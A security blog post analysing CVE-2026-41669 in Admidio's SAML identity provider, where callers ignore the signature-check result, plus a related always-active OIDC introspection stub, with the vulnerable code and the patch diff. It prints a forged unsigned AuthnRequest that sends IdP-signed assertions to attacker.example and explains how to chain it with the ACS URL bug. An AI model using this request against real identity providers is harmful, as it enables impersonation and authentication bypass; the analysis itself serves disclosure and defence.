//nefariousplan

CVE-2026-41669: Admidio's smc_require_auth_signed Was a Setting Before It Was a Control

pattern

cve

proof of concept

Lines 416 and 611 of src/SSO/Service/SAMLService.php carry the same comment: // Validate signatures. Will throw an exception. The function on the next line returns an error string. The callers do not read it.

That is what CVE-2026-41669 is. The signature gate runs on every inbound AuthnRequest and LogoutRequest. It loads the configured x509 certificate, asks LightSAML's signature reader for a verdict, and arrives at an answer. If the signature is valid, it returns true. If the signature is invalid, it returns a gL10n translation key like SYS_SSO_SAML_SIGNATURE_FAILED. The two call sites do not assign, compare, log, or check which one came back. They proceed to the request handler. The smc_require_auth_signed toggle on the SAML client configuration page selects which branch the function takes when no signature is present at all. It does not select what happens after that selection is made, because the answer never leaves the function.

The signal was on a return value the caller never read

CVE-2026-41669 is the discard. validateSignature() is declared on line 354 of the pre-patch file with this signature:

public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {

bool|string is a PHP 8 union return type. It says: this function returns either a boolean or a string. Both are valid. The body matches the declaration:

// Client has no cert configured...
if (!$certPem) {
    $SPcert = null;
    if ($required) {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING');
    } else {
        return false;
    }
}
...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
    if ($required) {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING');
    } else {
        return false;
    }
}
try {
    $ok = $signatureReader->validate($SPcert);
    if ($ok) {
        return true;
    } else {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED');
    }
} catch (Exception $ex) {
    return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED');
}

Three failure paths, three error strings. One success path, one true. The function never throws. The catch block at the bottom catches anything the signature library throws, converts it to a translation key, and returns the key. The function's failure mode is values, not exceptions.

The two callers are at line 418 (inside handleSSORequest, which is dispatched for every inbound AuthnRequest) and line 613 (inside handleSLORequest, dispatched for every LogoutRequest). Both look the same:

// Validate signatures. Will throw an exception
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
}

The return value is not assigned, not compared, not logged, not checked. The next statement in handleSSORequest() reads the request ID and starts building the SAML response. The next statement in handleSLORequest() reads the session ID and terminates the local session. In PHP, an unused return value is simply discarded. The error string lands on the floor.

If the operator has set smc_require_auth_signed true on a client, the third argument to validateSignature() is true. That changes one thing inside the function: when no signature is present, the function returns SYS_SSO_SAML_SIGNATURE_MISSING instead of false. That return value is discarded by the same line that discarded the success and the truthy-string failure. The toggle controls the contents of a return value that is never read.

Both comments are the developer's testimony

The same comment exists twice in the file: line 416 inside handleSSORequest(), line 611 inside handleSLORequest(). Both say // Validate signatures. Will throw an exception. The function below them does not throw an exception. Every exit point is a return.

git blame traces both comments to commit db99bea31, dated 2025-03-16, titled "SAML SSO: First working version of the SAML 2.0 id Provider." The comments are older than v5.0.0. They are older than v5.0-Beta.1. They are older than any deployed Admidio installation that includes the SAML IdP at all.

A comment is contemporary documentation. The developer who wrote the comment also wrote the function. At the moment of writing, the developer either believed the function threw (and wrote the comment correctly) or knew it returned (and wrote the comment as the planned future state). The comment shipped. The function shipped. The two have disagreed for thirteen months.

This is the shape that the fail open intercept pattern names, transposed from try/catch into return values. In the Tomcat EncryptInterceptor exhibit, the gate caught GeneralSecurityException, logged it, and called super.messageReceived(msg) outside the try block. Same outcome, different language-level mechanism. The gate runs, identifies the failure, narrates it through whatever channel is convenient (a log entry, a return value, a 302 redirect), and the action proceeds because the next statement is not gated on the gate. The Admidio variant adds the twist that the narration channel and the listener channel were different: the function narrated on the return type, the callers were listening for an exception.

An unsigned AuthnRequest gets the same response as a signed one

The exploit primitive is the AuthnRequest itself. SAML over HTTP-POST or HTTP-Redirect binding accepts the request as a base64-encoded (optionally deflated) XML document submitted to the IdP's SSO endpoint. The minimal AuthnRequest does not require a <ds:Signature> element; SAML allows unsigned AuthnRequests at the protocol level, and it is the IdP's job to enforce signing when the deployed SP/IdP relationship requires it.

The attacker constructs a request claiming to be issued by any SAML client registered on the target IdP:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:AuthnRequest
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
    ID="_attacker-controlled-id"
    Version="2.0"
    IssueInstant="2026-05-11T10:00:00Z"
    AssertionConsumerServiceURL="https://attacker.example/callback"
    Destination="https://victim.example/admidio/modules/sso/index.php?mode=saml">
  <saml:Issuer>https://victim.example/admidio/sp/registered-client</saml:Issuer>
</samlp:AuthnRequest>

No <ds:Signature> element. Base64-encode, optionally deflate, submit. Server-side, handleSSORequest() receives the request, looks up the client by issuer, enters the try block at line 411. The check at line 416-419 calls validateSignature($client, $request, true). The function loads the client's configured x509 certificate, finds no <ds:Signature> on the request, and returns the translation key SYS_SSO_SAML_SIGNATURE_MISSING. The return value is discarded. Execution continues on line 421.

What happens next is governed by $gValidLogin. If the attacker has any Admidio session (which the registration form on a public Admidio install will hand out), $gValidLogin is true and the IdP proceeds to build a signed assertion impersonating that account. The same patch closes a second bug at the same call sites: the pre-patch handler reads AssertionConsumerServiceURL off the AuthnRequest and uses it as the destination of the response. Pre-patch:

} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
    $response->setDestination($request->getAssertionConsumerServiceURL());
}

Post-patch:

// Always use the registered ACS URL, never the request's ACS URL
$response->setDestination($client->getValue('smc_acs_url'));

The two bugs compose. The attacker sends an unsigned AuthnRequest claiming to be any registered client, with an ACS URL pointing at attacker-controlled infrastructure. The IdP accepts both. It builds an assertion authenticated as the attacker's own (low-privilege) session user, signs the assertion with the IdP's signing key, and posts it to https://attacker.example/callback. The attacker now holds an IdP-signed assertion delivered to a URL the legitimate client never authorized. Any SP that trusts this Admidio IdP and accepts that assertion treats the attacker as authenticated.

The CVE record names the signature-discard half. The deliverable is the chain.

The same patch fixed the same shape in the OIDC service

Commit 9d01b1a3931a4089fc7556dba95fd170eb50cc80, dated 2026-04-10, titled "SAML Signature Validation Result Ignored #2019," changes 211 lines across two files. One is SAMLService.php. The other is OIDCService.php.

The pre-patch handleIntrospectionRequest():

public function handleIntrospectionRequest() {
    // TODO_RK
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    return new JsonResponse(["active" => true]);
}

OAuth 2.0 token introspection (RFC 7662) is the mechanism by which a resource server asks the authorization server whether an opaque token is still valid. The resource server submits the token. The authorization server consults its records. It returns {"active": true} if the token is valid and the caller is permitted to ask about it; {"active": false} otherwise. Admidio's pre-patch implementation skips both questions and answers true. Every introspection returns active. Tokens that were never issued. Tokens that were revoked. Tokens whose lifetime expired. Tokens for clients the introspecting resource server is not authorized to ask about. All active. The handler is a stub annotated // TODO_RK.

handleRevocationRequest() is the same stub shape with the same annotation. The patch implements both functions from scratch (130 lines for introspection, with client credential authentication, token database lookup, expiry checking, and scope filtering; a similar reimplementation for revocation).

The SAML signature bug and the OIDC introspection bug share a developer. They share a release. They share a commit. The patch closes both. The substrate that produced both, ship the rough draft of an authentication subsystem and trust that the misimplementation will be caught later, is not addressed by the patch. The SSO subsystem went to v5.0.0 with two security-critical endpoints whose only manifestation of their stated security property was a comment.

The patch is the function doing what the comment always said it did

The diff against validateSignature():

-    public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
+    public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool
+    {
         global $gL10n;
         $certPem = $client->getValue('smc_x509_certificate');
         if (!$certPem) {
             $SPcert = null;
             if ($required) {
-                return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING');
+                throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
             } else {
                 return false;
             }
         }
         ...
         $signatureReader = $message->getSignature();
         if (is_null($signatureReader)) {
             if ($required) {
-                return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING');
+                throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
             } else {
                 return false;
             }
         }
         try {
             $ok = $signatureReader->validate($SPcert);
             if ($ok) {
                 return true;
             } else {
-                return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED');
+                throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
             }
-        } catch (Exception $ex) {
-            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED');
+        } catch (Exception) {
+            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
         }
     }

Every return $gL10n->get(...) becomes throw new Exception($gL10n->get(...)). The return type narrows from bool|string to bool. The trailing catch block's return becomes throw. The function does, in version 5.0.9, what the comments at lines 416 and 611 have always said it did. The call sites do not change. They do not need to. The comments above them are now correct.

smc_require_auth_signed was a setting before it was a control

The Admidio SAML client configuration page exposes the toggle as "Require signed AuthnRequests." An operator who turns it on is making a security choice: refuse SAML AuthnRequests that lack a valid signature from the registered client's x509 certificate. The toggle has been on the configuration page since v5.0-Beta.1, 2025-09-16. The stable release shipped on 2025-11-08. The patched release shipped on 2026-04-18.

The toggle, between those last two dates, did not change behavior. It changed the contents of a return value that no caller read. An administrator who turned it on, and an administrator who left it off, were running the same SAML IdP. Both were processing unsigned AuthnRequests identically to signed ones. The audit log for both populations is empty of signature-validation events because nothing in validateSignature() writes a log when it returns an error string; the function's contract was to signal failure through its return type, and the function's actual contract was to signal failure into a void.

Every nefariousplan post about fail open intercept so far has named a population. The Tomcat exhibit said: the administrators who configured cluster encryption are the affected ones. The administrators who did not configure it are not. That formulation does not apply here. Admidio's SAML IdP has no opt-out. Once sso_saml_enabled is set to 1, the SAML endpoints are live and the signature toggle is the only knob the operator has against forged AuthnRequests. The administrators who turned on smc_require_auth_signed and the administrators who left it off were running the same SAML IdP. The toggle was a placebo for one population and an absence for the other.

The thirteen-month interval between the first SAML commit and the patch is also the interval between when the comment first claimed the gate threw and when the gate first did. The patch makes the comments load-bearing in reality. They were already load-bearing in the operator's belief.

PoC: GHSA-25cw-98hg-g3cg

smc_require_auth_signed was a setting before it was a control. The comment at the call sites had been describing the patch since March 16, 2025.